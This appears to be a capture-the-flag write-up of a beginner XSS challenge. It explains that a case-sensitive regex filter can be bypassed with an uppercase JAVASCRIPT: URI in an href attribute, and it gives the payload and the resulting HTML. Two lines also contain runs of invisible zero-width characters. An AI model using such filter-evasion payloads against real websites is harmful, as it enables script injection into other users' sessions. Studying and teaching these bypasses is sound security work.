← Back to Writeups
CUSTOMEasyWeb

Easy 4

XESXOR9/10/20261 min read
#web#custom#easy#case_sensitive_filter_evasion#javascript_uri_case_bypass

Easy 4

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: case_sensitive_filter_evasion, javascript_uri_case_bypass

Summary

XSS challenge where input is placed into an <a href=""> attribute. The escape function filters dangerous patterns but uses case-sensitive regex.

Easy 4 — Web Kids 2.0 (sibearsxss)

Description

XSS challenge where input is placed into an <a href=""> attribute. The escape function filters dangerous patterns but uses case-sensitive regex.

Analysis

Escape function:

javascript
function escape(s) {
  if (/script|data|\/|"/.test(s)) { s = '/'; }
  return '<a href="' + s + '">Click ME </a>';
}

Filters (case-sensitive):

  • script - blocks <script> and javascript:
  • data - blocks data: URI
  • / - blocks path traversal and closing tags
  • " - blocks breaking out of href attribute ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key weakness: The regex /script|data|\/|"/ is case-sensitive (no /i flag). It only matches lowercase "script" and "data".

Solution

Use uppercase JAVASCRIPT: protocol which bypasses the case-sensitive filter:

Payload:

JAVASCRIPT:prompt('sibears')

The regex doesn't match "JAVASCRIPT" (uppercase), so the payload passes through.

Result:

html
<a href="JAVASCRIPT:prompt('sibears')">Click ME</a>

When the bot clicks the link, the javascript: URI executes (browsers treat it case-insensitively), triggering the prompt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍